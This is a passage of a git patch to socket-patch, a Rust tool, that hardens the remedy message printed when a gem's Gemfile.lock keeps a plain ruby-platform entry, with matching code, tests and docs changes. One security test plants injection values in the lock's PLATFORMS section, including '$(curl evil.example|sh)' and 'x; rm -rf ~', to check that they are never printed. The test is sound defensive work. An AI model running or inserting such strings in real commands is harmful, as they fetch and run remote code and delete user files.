keeps that entry for `ruby` and for every other platform in the lock that none of the gem's platform builds serves, and the message names those platforms and the `bundle lock --remove-platform` command that takes them out. The same refusal meets a lock written by a Bundler older than 2.3 (its `BUNDLED WITH`), the oldest version the layout is verified on. The vendored directory carries its own `.gitignore` and `.gitattributes`, so a project rule such as `*.so` or a Git LFS filter does not keep the prebuilt binaries out of the commit or change their bytes. Bundler cannot add a platform the vendored directory has no gem for: to add one later, revert the gem (`vendor --revert`), run `bundle lock --add-platform ` and vendor again. A gem with a native extension that is locked for the `ruby` platform alone is refused (`native_extensions_unsupported`, or `platform_gem_unsupported` when the installed copy is a precompiled one): Bundler builds no extensions for path-sourced gems. Use hosted or agent mode for that gem. | | Agent (`apply`) | The extension is rebuilt from the gem's source archive with the patch laid over it, using RubyGems' builder and the Ruby that owns the install, and the build is put where Ruby loads it: the extension directory of a gem RubyGems built, the prebuilt binary of a precompiled gem. | `apply` takes the source gem (`-.gem`) from the gem home's `cache/` directory, From 43dd5a00b5b055e5cab21dc43a3877070e8a0900 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 27 Nov 2026 02:16:31 +0000 Subject: [PATCH 4/4] Harden the gem plain-entry remedy after review Findings of the code review of this branch, each with a test: - A PLATFORMS line the lock repeats was printed twice, and Bundler refuses `--remove-platform ruby ruby`. Each platform is named once. - A locked platform the port cannot read (FreeBSD) may keep the plain entry too. The remedy no longer reads as complete then: it adds that another locked platform may keep the entry. - A PLATFORMS line that starts with a dash is not printed into the command. - One platform other than ruby is worded as one. - Names RubyGems reads as AIX, Cygwin or FreeBSD are not taken for Linux or macOS, and i386 to i686 are found anywhere in the CPU. Refs #2284 Assisted-by: Claude Code:claude-fable-5-2 Co-Authored-By: Claude Fable 5.2 Claude-Session: https://claude.ai/code/session_011f9aeScTQvGaMvmNNeLBiM --- crates/socket-patch-cli/CLI_CONTRACT.md | 2 +- .../socket-patch-core/src/formats/gem/mod.rs | 10 +- .../src/formats/gem/platform.rs | 134 ++++++++++++++---- crates/socket-patch-core/src/vendor/gem.rs | 119 +++++++++++++--- docs/ecosystems.md | 2 +- 5 files changed, 211 insertions(+), 56 deletions(-) diff --git a/crates/socket-patch-cli/CLI_CONTRACT.md b/crates/socket-patch-cli/CLI_CONTRACT.md index 2816338490..9dcf214954 100644 --- a/crates/socket-patch-cli/CLI_CONTRACT.md +++ b/crates/socket-patch-cli/CLI_CONTRACT.md @@ -2623,7 +2623,7 @@ command's integration tests check its output. | `vendor_uuid_mismatch` | `skipped` | repair: the manifest's patch uuid moved past the vendored artifact — a re-vendor (`vendor` / `scan --mode vendored`) is pending; repair does not cross patch generations. | | `content_mismatch_overwritten` | `skipped` (warning) | apply (explicit `--allow-patch-conflicts` / `--force`): a file matched NEITHER beforeHash nor afterHash and was overwritten with the full verified patched content. This includes a file the patch adds (empty beforeHash) that already exists with other content. `--strict` turns this case into a `failed` event instead. Agent-mode `get` / `scan --json` carry it as a `(content_mismatch_overwritten) …` `warnings[]` entry (#1004). | | `vendor_lock_checksums_unsupported` / `vendor_stale_lock_checksum` | `failed` | vendor (gem): an ambiguous/platform CHECKSUMS entry, or a v1-wired lock whose stale token blocks the hot path (run `vendor --revert` + re-vendor). | -| `platform_gem_unsupported` | `failed` | vendor / scan / get `--mode vendored` (gem): a precompiled platform gem that cannot be vendored. `Gemfile.lock` pins the gem as platform gems (`nokogiri (1.18.10-x86_64-linux-gnu)`) and also holds the plain ` ()` entry of the `ruby` platform, which no prebuilt tree serves. Bundler keeps that entry for `ruby` and for every other locked platform that none of the gem's platform builds serves (a gem with no 32-bit ARM build under a lock that names `arm-linux-gnu`). The detail names the plain entry and each such platform under the lock's `PLATFORMS`, with the command that removes them (`bundle lock --remove-platform arm-linux-gnu ruby`); it names `ruby` only when the lock holds it, and `` when the lock shows no such platform; or it pins the gem as platform gems and its `BUNDLED WITH` is absent or names a Bundler older than 2.3, the oldest the vendored layout is verified on (the detail names the version needed; `bundle update --bundler` re-locks); or the installed copy is a platform gem and the lock names no platform for the gem; or the patch record is for one platform's build (`?platform=`). Nothing is written. A locked platform the patch service has no prebuild for is not this failure: see `vendor_prebuilt_platform_pending`. | +| `platform_gem_unsupported` | `failed` | vendor / scan / get `--mode vendored` (gem): a precompiled platform gem that cannot be vendored. `Gemfile.lock` pins the gem as platform gems (`nokogiri (1.18.10-x86_64-linux-gnu)`) and also holds the plain ` ()` entry of the `ruby` platform, which no prebuilt tree serves. Bundler keeps that entry for `ruby` and for every other locked platform that none of the gem's platform builds serves (a gem with no 32-bit ARM build under a lock that names `arm-linux-gnu`). The detail names the plain entry and each such platform under the lock's `PLATFORMS`, with the command that removes them (`bundle lock --remove-platform arm-linux-gnu ruby`); it names `ruby` only when the lock holds it, and `` when the lock shows no such platform. A locked platform of a system other than Linux, macOS, Windows or Java, or one that is not a plain platform name, is not named: the detail then adds that another locked platform may keep the entry; or it pins the gem as platform gems and its `BUNDLED WITH` is absent or names a Bundler older than 2.3, the oldest the vendored layout is verified on (the detail names the version needed; `bundle update --bundler` re-locks); or the installed copy is a platform gem and the lock names no platform for the gem; or the patch record is for one platform's build (`?platform=`). Nothing is written. A locked platform the patch service has no prebuild for is not this failure: see `vendor_prebuilt_platform_pending`. | | `redirect_unattributable` | `skipped` (hosted event) | scan/get `--mode hosted`: the rewriters would pin the patch, but lockfile discovery over the result reads that pin as contested (another lock or requirements file resolves the same version elsewhere, or the pin is not one the package manager consumes), so `vex`, `rollback`, `remove` and `vendor` would refuse it. The candidate is left out of the rewrite, so nothing is written for it; the detail carries discovery's findings. Exit code unchanged. | | `redirect_mirror_unsupported` / `redirect_mirror_url_refused` | `skipped` (hosted event) + `warnings[]` | **Experimental** (patch mirror). scan/get `--mode hosted` with `--patch-mirror-url`: the patch's ecosystem cannot be served through a mirror (`redirect_mirror_unsupported`: Cargo, NuGet; use `--mode vendored`), or its reference could not be moved onto the mirror (`redirect_mirror_url_refused`). Nothing is written for it. See "Patch mirror (experimental)". | | `redirect_mirror_unavailable` | `skipped` (hosted event) + `warnings[]` | **Experimental** (patch mirror). scan/get `--mode hosted` with `--patch-mirror-url`: the mirror did not serve the reference the run asked it for, or could not be reached. That reference is skipped and nothing is written for it. One warning per package, or a single warning about the mirror when it served none of the references it was asked about. | diff --git a/crates/socket-patch-core/src/formats/gem/mod.rs b/crates/socket-patch-core/src/formats/gem/mod.rs index 9a8060e677..d32ba21bbc 100644 --- a/crates/socket-patch-core/src/formats/gem/mod.rs +++ b/crates/socket-patch-core/src/formats/gem/mod.rs @@ -769,11 +769,6 @@ fn parse_checksum(entry: &str) -> Option<((&str, &str), Option)> { mod tests { use super::*; - /// Section spans, remote line numbers and DEPENDENCIES entries: what the - /// hosted lock writer splices by. Blank (and whitespace-only) separator - /// lines belong to the section they follow; a CRLF lock gives the same - /// numbers as its LF spelling, and the last section runs to the last - /// line whether or not the file ends with a newline. #[test] fn locked_platforms_are_the_lines_of_the_platforms_section() { let lock = "GEM\n remote: https://rubygems.org/\n specs:\n rack (3.2.6)\n\nPLATFORMS\n arm64-darwin\n ruby\n\nDEPENDENCIES\n rack\n\nBUNDLED WITH\n 2.5.22\n"; @@ -785,6 +780,11 @@ mod tests { assert!(locked_platforms("GEM\n specs:\n rack (3.2.6)\n").is_empty()); } + /// Section spans, remote line numbers and DEPENDENCIES entries: what the + /// hosted lock writer splices by. Blank (and whitespace-only) separator + /// lines belong to the section they follow; a CRLF lock gives the same + /// numbers as its LF spelling, and the last section runs to the last + /// line whether or not the file ends with a newline. #[test] fn section_spans_remote_lines_and_dependency_entries() { let lf = "GEM\n remote: https://a.example/\n specs:\n rack (3.1.0)\n\nGEM\n remote: https://b.example/\n specs:\n rails (7.0.0)\n rack\n \n\nPATH\n remote: .\n specs:\n app (0.1.0)\n\nDEPENDENCIES\n app!\n rack\n rack (~> 3.1)\n rails (= 7.0.0)!\n nested (1.0)\n\nBUNDLED WITH\n 2.6.2\n\n"; diff --git a/crates/socket-patch-core/src/formats/gem/platform.rs b/crates/socket-patch-core/src/formats/gem/platform.rs index 87d924463e..9a6354b2d8 100644 --- a/crates/socket-patch-core/src/formats/gem/platform.rs +++ b/crates/socket-patch-core/src/formats/gem/platform.rs @@ -109,27 +109,58 @@ impl GemPlatform { } } -/// The locked platforms of `locked` that keep the plain entry of a gem -/// whose platform builds are `builds`: `ruby`, and each one that no build -/// [serves](GemPlatform::serves). In the order of `locked`. A platform this -/// module cannot read is left out, and so is every platform when one of the -/// builds cannot be read (what it serves is not known). -pub(crate) fn unserved_platforms<'a>(locked: &[&'a str], builds: &[String]) -> Vec<&'a str> { - let Some(builds) = builds - .iter() - .map(|build| GemPlatform::parse(build)) - .collect::>>() - else { - return locked.iter().copied().filter(|p| *p == "ruby").collect(); - }; - locked +/// The locked platforms that keep the plain entry of a gem, as far as the +/// lock's `PLATFORMS` and the gem's platform builds can be read. +#[derive(Debug, PartialEq, Eq)] +pub(crate) struct Unserved<'a> { + /// `ruby` when it is locked, and each locked platform that no build + /// [serves](GemPlatform::serves). In the order of the lock, each once. + pub(crate) platforms: Vec<&'a str>, + /// Whether every locked platform and every build was read. When not, + /// a platform that is not in [`Self::platforms`] may keep the entry + /// too. + pub(crate) complete: bool, +} + +/// The platforms of `locked` that keep the plain entry of a gem whose +/// platform builds are `builds`. A platform this module cannot read is +/// never named, and when one of the builds cannot be read (what it serves +/// is not known) only `ruby` is. +pub(crate) fn unserved_platforms<'a>(locked: &[&'a str], builds: &[String]) -> Unserved<'a> { + let mut seen: Vec<&str> = Vec::new(); + let locked: Vec<&'a str> = locked .iter() .copied() - .filter(|platform| match GemPlatform::parse(platform) { - Some(parsed) => !builds.iter().any(|build| build.serves(&parsed)), - None => *platform == "ruby", + .filter(|platform| { + let new = !seen.contains(platform); + seen.push(platform); + new + }) + .collect(); + let builds: Option> = builds + .iter() + .map(|build| GemPlatform::parse(build)) + .collect(); + let mut complete = builds.is_some(); + let platforms = locked + .into_iter() + .filter(|platform| { + if *platform == "ruby" { + return true; + } + let Some(parsed) = GemPlatform::parse(platform) else { + complete = false; + return false; + }; + builds + .as_ref() + .is_some_and(|builds| !builds.iter().any(|build| build.serves(&parsed))) }) - .collect() + .collect(); + Unserved { + platforms, + complete, + } } /// The OS and version of the OS part of a platform name, for the operating @@ -149,6 +180,13 @@ fn known_os(part: &str) -> Option<(&'static str, Option)> { .unwrap_or(rest.len()); (end > 0).then(|| rest[..end].to_string()) }; + // RubyGems tests these names before the ones read here. + if ["aix", "cygwin", "freebsd"] + .iter() + .any(|os| part.contains(os)) + { + return None; + } if let Some(rest) = after("darwin") { return Some(("darwin", digits(rest))); } @@ -167,10 +205,12 @@ fn known_os(part: &str) -> Option<(&'static str, Option)> { None } -/// `i386` … `i686`, which RubyGems reads as `x86`. +/// `i386` … `i686`, which RubyGems reads as `x86`. It looks for the name +/// anywhere in the CPU. fn is_ix86(cpu: &str) -> bool { - let bytes = cpu.as_bytes(); - bytes.len() == 4 && bytes[0] == b'i' && bytes[1].is_ascii_digit() && &bytes[2..] == b"86" + cpu.as_bytes() + .windows(4) + .any(|w| w[0] == b'i' && w[1].is_ascii_digit() && &w[2..] == b"86") } fn ends_with_digit(part: &str) -> bool { @@ -343,7 +383,10 @@ mod tests { ]); assert_eq!( unserved_platforms(&locked, &thruster), - ["arm-linux-gnu", "arm-linux-musl", "ruby"] + Unserved { + platforms: vec!["arm-linux-gnu", "arm-linux-musl", "ruby"], + complete: true + } ); let nokogiri = builds(&[ "aarch64-linux-gnu", @@ -355,22 +398,59 @@ mod tests { "x86_64-linux-gnu", "x86_64-linux-musl", ]); - assert_eq!(unserved_platforms(&locked, &nokogiri), ["ruby"]); + assert_eq!( + unserved_platforms(&locked, &nokogiri), + Unserved { + platforms: vec!["ruby"], + complete: true + } + ); + // A line the lock repeats is named once. + assert_eq!( + unserved_platforms( + &["ruby", "arm-linux-gnu", "ruby", "arm-linux-gnu"], + &thruster + ) + .platforms, + ["ruby", "arm-linux-gnu"] + ); } /// What cannot be read is never named: a locked platform of an unknown - /// system, and every platform when a build is of one. + /// system, and every platform but `ruby` when a build is of one. The + /// answer then says it is not the whole of it. #[test] fn unreadable_platforms_are_never_named() { let builds = vec!["x86_64-linux".to_string()]; assert_eq!( unserved_platforms(&["x86_64-freebsd14", "arm64-darwin", "ruby"], &builds), - ["arm64-darwin", "ruby"] + Unserved { + platforms: vec!["arm64-darwin", "ruby"], + complete: false + } ); let odd = vec!["x86_64-linux".to_string(), "x86_64-freebsd14".to_string()]; assert_eq!( - unserved_platforms(&["arm64-darwin", "ruby", "x86_64-freebsd14"], &odd), - ["ruby"] + unserved_platforms(&["arm64-darwin", "ruby"], &odd), + Unserved { + platforms: vec!["ruby"], + complete: false + } ); } + + /// Names RubyGems reads as another system, or as an x86 CPU, are read + /// the same way here. + #[test] + fn names_rubygems_reads_first_are_not_taken_for_linux_or_darwin() { + for name in [ + "x86_64-freebsd-linux", + "powerpc-aix-darwin", + "x86_64-cygwin", + ] { + assert_eq!(GemPlatform::parse(name), None, "{name}"); + } + let odd = GemPlatform::parse("xi386y-linux").unwrap(); + assert_eq!(odd.cpu.as_deref(), Some("x86")); + } } diff --git a/crates/socket-patch-core/src/vendor/gem.rs b/crates/socket-patch-core/src/vendor/gem.rs index 91b2e5fe3a..8cb4ddcd58 100644 --- a/crates/socket-patch-core/src/vendor/gem.rs +++ b/crates/socket-patch-core/src/vendor/gem.rs @@ -783,9 +783,9 @@ fn platform_lock_refusal( return Some(( "platform_gem_unsupported", format!( - "{GEMFILE_LOCK} locks `{name} ({version})` (the ruby platform) beside the platform gems {}: a vendored directory of prebuilt platform gems has nothing for the ruby platform, and bundler never builds a `path:` gem's extensions. {} to vendor {name}", + "{GEMFILE_LOCK} locks `{name} ({version})` (the ruby platform) beside the platform gems {}: a vendored directory of prebuilt platform gems has nothing for the ruby platform, and bundler never builds a `path:` gem's extensions. {}", entries.join(", "), - plain_entry_remedy(&locked.platforms, lock_text) + plain_entry_remedy(name, &locked.platforms, lock_text) ), )); } @@ -810,34 +810,42 @@ fn platform_lock_refusal( )) } -/// How to drop the plain `name (version)` entry of a gem whose platform -/// builds are `builds` from the lock `lock_text` (#2284). Bundler keeps -/// that entry for `ruby` and for every other locked platform that none of -/// the builds serves, so `bundle lock --remove-platform ruby` alone clears -/// it only when `ruby` is the one such platform. The remedy names each of -/// them, and none when the lock shows none (no `PLATFORMS`, or a platform -/// [`crate::formats::gem::platform`] cannot read). +/// How to drop the plain `name (version)` entry of the gem `name`, whose +/// platform builds are `builds`, from the lock `lock_text` (#2284). Bundler +/// keeps that entry for `ruby` and for every other locked platform that +/// none of the builds serves, so `bundle lock --remove-platform ruby` alone +/// clears it only when `ruby` is the one such platform. The remedy names +/// each of them, and none when the lock shows none (no `PLATFORMS`). When a +/// locked platform or a build is one [`crate::formats::gem::platform`] +/// cannot read, it says that such a platform may keep the entry as well. /// /// SECURITY: `PLATFORMS` is a committed, tamper-able section and the /// remedy is a command the user copies, so only a platform in the plain -/// gem-token charset is printed. -fn plain_entry_remedy(builds: &[String], lock_text: &str) -> String { - let locked: Vec<&str> = crate::formats::gem::locked_platforms(lock_text) - .into_iter() - .filter(|platform| is_platform_dir_name(platform)) - .collect(); - let kept_for = crate::formats::gem::platform::unserved_platforms(&locked, builds); - match kept_for.as_slice() { - [] => "Bundler keeps that entry for a locked platform that none of those builds serves. Remove that platform from the lock (`bundle lock --remove-platform `)".to_string(), - ["ruby"] => "Remove the ruby platform from the lock (`bundle lock --remove-platform ruby`)".to_string(), +/// gem-token charset that does not start like an option is printed. +fn plain_entry_remedy(name: &str, builds: &[String], lock_text: &str) -> String { + let printable = |platform: &&str| { + is_platform_dir_name(platform) && platform.starts_with(|c: char| c.is_ascii_alphanumeric()) + }; + let all = crate::formats::gem::locked_platforms(lock_text); + let locked: Vec<&str> = all.iter().copied().filter(printable).collect(); + let unserved = crate::formats::gem::platform::unserved_platforms(&locked, builds); + let complete = unserved.complete && locked.len() == all.len(); + let remedy = match unserved.platforms.as_slice() { + [] => format!("Bundler keeps that entry for a locked platform that none of those builds serves. Remove that platform from the lock (`bundle lock --remove-platform `) to vendor {name}"), + ["ruby"] => format!("Remove the ruby platform from the lock (`bundle lock --remove-platform ruby`) to vendor {name}"), + [platform] => format!("Bundler keeps that entry for the locked platform `{platform}`, which none of those builds serves. Remove it from the lock, if the project is not installed there (`bundle lock --remove-platform {platform}`), to vendor {name}"), platforms => { let named: Vec = platforms.iter().map(|p| format!("`{p}`")).collect(); format!( - "Bundler keeps that entry for each locked platform that none of those builds serves: {}. Remove each of them from the lock, if the project is not installed there (`bundle lock --remove-platform {}`),", + "Bundler keeps that entry for each locked platform that none of those builds serves: {}. Remove each of them from the lock, if the project is not installed there (`bundle lock --remove-platform {}`), to vendor {name}", named.join(", "), platforms.join(" ") ) } + }; + match complete || unserved.platforms.is_empty() { + true => remedy, + false => format!("{remedy}. If the plain entry stays, another locked platform keeps it as well: remove that one the same way"), } } @@ -12527,7 +12535,9 @@ mod tests { /// SECURITY: `PLATFORMS` is a committed, tamper-able section, and /// the remedy is a command the user copies. A platform that is not - /// a plain gem token is never printed. + /// a plain gem token, or that starts like an option, is never + /// printed; the remedy says a platform it did not name may keep + /// the entry. #[test] fn the_plain_entry_remedy_prints_no_unsafe_platform() { let lock = rails_lock( @@ -12535,6 +12545,8 @@ mod tests { "arm-linux-gnu", "$(curl evil.example|sh)", "x; rm -rf ~", + "--linux", + "-darwin", "ruby", ], false, @@ -12544,12 +12556,75 @@ mod tests { detail.contains("(`bundle lock --remove-platform arm-linux-gnu ruby`)"), "{detail}" ); + for unsafe_text in ["curl", "rm -rf", "--linux", " -darwin", "`-darwin"] { + assert!(!detail.contains(unsafe_text), "{detail}"); + } + assert!( + detail.ends_with( + "another locked platform keeps it as well: remove that one the same way" + ), + "{detail}" + ); + } + + /// A `PLATFORMS` line the lock repeats (a hand-merged lock) is + /// named once: Bundler refuses `--remove-platform ruby ruby`. + #[test] + fn the_plain_entry_remedy_names_a_repeated_platform_once() { + let lock = rails_lock(&["arm64-darwin", "ruby", "x86_64-linux-gnu", "ruby"], true); + let detail = plain_entry_detail(&lock, "nokogiri", "1.19.7"); + assert!( + detail.ends_with( + "Remove the ruby platform from the lock (`bundle lock --remove-platform ruby`) to vendor nokogiri" + ), + "{detail}" + ); + let lock = rails_lock(&["arm-linux-gnu", "ruby", "arm-linux-gnu", "ruby"], false); + let detail = plain_entry_detail(&lock, "thruster", "0.1.28"); + assert!( + detail.contains("(`bundle lock --remove-platform arm-linux-gnu ruby`)"), + "{detail}" + ); + } + + /// One platform other than `ruby` is worded as one. + #[test] + fn the_plain_entry_remedy_words_one_platform_as_one() { + let lock = rails_lock( + &["arm-linux-musl", "arm64-darwin", "x86_64-linux-gnu"], + false, + ); + let detail = plain_entry_detail(&lock, "thruster", "0.1.28"); assert!( - !detail.contains("curl") && !detail.contains("rm -rf"), + detail.ends_with( + "Bundler keeps that entry for the locked platform `arm-linux-musl`, which none of those builds serves. Remove it from the lock, if the project is not installed there (`bundle lock --remove-platform arm-linux-musl`), to vendor thruster" + ), "{detail}" ); } + /// A locked platform of a system the platform port cannot read + /// (FreeBSD) may keep the plain entry too. It is not named, and the + /// remedy does not promise that the named ones are all of them. + #[test] + fn the_plain_entry_remedy_says_when_it_could_not_read_a_platform() { + let lock = rails_lock(&["ruby", "x86_64-freebsd-14", "x86_64-linux-gnu"], true); + for (name, version) in [("nokogiri", "1.19.7"), ("thruster", "0.1.28")] { + let detail = plain_entry_detail(&lock, name, version); + assert!( + detail.contains("(`bundle lock --remove-platform ruby`)"), + "{detail}" + ); + assert!(!detail.contains("`x86_64-freebsd-14`"), "{detail}"); + assert!( + detail.ends_with(&format!( + "to vendor {name}. If the plain entry stays, another locked platform keeps it as well: remove that one the same way" + )), + "{detail}" + ); + } + } + /// A native gem locked for the ruby platform alone is still refused, /// whatever the service has: bundler would build it from source, and /// never does for a `path:` gem. The service is not asked. diff --git a/docs/ecosystems.md b/docs/ecosystems.md index 641d8fbf3f..ead8681efa 100644 --- a/docs/ecosystems.md +++ b/docs/ecosystems.md @@ -5101,7 +5101,7 @@ How each mode gets the patched code running: | Mode | What happens | |---|---| | Hosted | Bundler installs the patched `.gem` from the patch registry, and RubyGems compiles it like any registry gem. A gem the lock pins as precompiled platform gems (`x86_64-linux-gnu`) is installed from the patched platform gem the registry serves for that platform, with nothing to compile; it is skipped with `redirect_gem_platform_unsupported` only while the patch has no patched build for one of the locked platforms. | -| Vendored | A gem `Gemfile.lock` pins as precompiled platform gems (one entry per platform, such as `nokogiri (1.18.10-x86_64-linux-gnu)`) is vendored from prebuilt patched platform gems. The patch service builds one for each platform, and the vendored directory holds each of them unpacked (`-//`), so Bundler loads the one for the platform it runs on and builds nothing. Every platform in the lock needs one. While the patch service has none for one of them the gem is skipped with `vendor_prebuilt_platform_pending`, which names the platforms that have none: the run does not fail, nothing is written, a patch that is already vendored stays in place, and a later run vendors the gem once every platform has one. A lock that also holds the plain `nokogiri (1.18.10)` entry of the `ruby` platform is refused with `platform_gem_unsupported`. Bundler keeps that entry for `ruby` and for every other platform in the lock that none of the gem's platform builds serves, and the message names those platforms and the `bundle lock --remove-platform` command that takes them out. The same refusal meets a lock written by a Bundler older than 2.3 (its `BUNDLED WITH`), the oldest version the layout is verified on. The vendored directory carries its own `.gitignore` and `.gitattributes`, so a project rule such as `*.so` or a Git LFS filter does not keep the prebuilt binaries out of the commit or change their bytes. Bundler cannot add a platform the vendored directory has no gem for: to add one later, revert the gem (`vendor --revert`), run `bundle lock --add-platform ` and vendor again. A gem with a native extension that is locked for the `ruby` platform alone is refused (`native_extensions_unsupported`, or `platform_gem_unsupported` when the installed copy is a precompiled one): Bundler builds no extensions for path-sourced gems. Use hosted or agent mode for that gem. | +| Vendored | A gem `Gemfile.lock` pins as precompiled platform gems (one entry per platform, such as `nokogiri (1.18.10-x86_64-linux-gnu)`) is vendored from prebuilt patched platform gems. The patch service builds one for each platform, and the vendored directory holds each of them unpacked (`-//`), so Bundler loads the one for the platform it runs on and builds nothing. Every platform in the lock needs one. While the patch service has none for one of them the gem is skipped with `vendor_prebuilt_platform_pending`, which names the platforms that have none: the run does not fail, nothing is written, a patch that is already vendored stays in place, and a later run vendors the gem once every platform has one. A lock that also holds the plain `nokogiri (1.18.10)` entry of the `ruby` platform is refused with `platform_gem_unsupported`. Bundler keeps that entry for `ruby` and for every other platform in the lock that none of the gem's platform builds serves, and the message names those platforms and the `bundle lock --remove-platform` command that takes them out. It says so when the lock names a platform it cannot judge (one of a system other than Linux, macOS, Windows or Java). The same refusal meets a lock written by a Bundler older than 2.3 (its `BUNDLED WITH`), the oldest version the layout is verified on. The vendored directory carries its own `.gitignore` and `.gitattributes`, so a project rule such as `*.so` or a Git LFS filter does not keep the prebuilt binaries out of the commit or change their bytes. Bundler cannot add a platform the vendored directory has no gem for: to add one later, revert the gem (`vendor --revert`), run `bundle lock --add-platform ` and vendor again. A gem with a native extension that is locked for the `ruby` platform alone is refused (`native_extensions_unsupported`, or `platform_gem_unsupported` when the installed copy is a precompiled one): Bundler builds no extensions for path-sourced gems. Use hosted or agent mode for that gem. | | Agent (`apply`) | The extension is rebuilt from the gem's source archive with the patch laid over it, using RubyGems' builder and the Ruby that owns the install, and the build is put where Ruby loads it: the extension directory of a gem RubyGems built, the prebuilt binary of a precompiled gem. | `apply` takes the source gem (`-.gem`) from the gem home's `cache/` directory,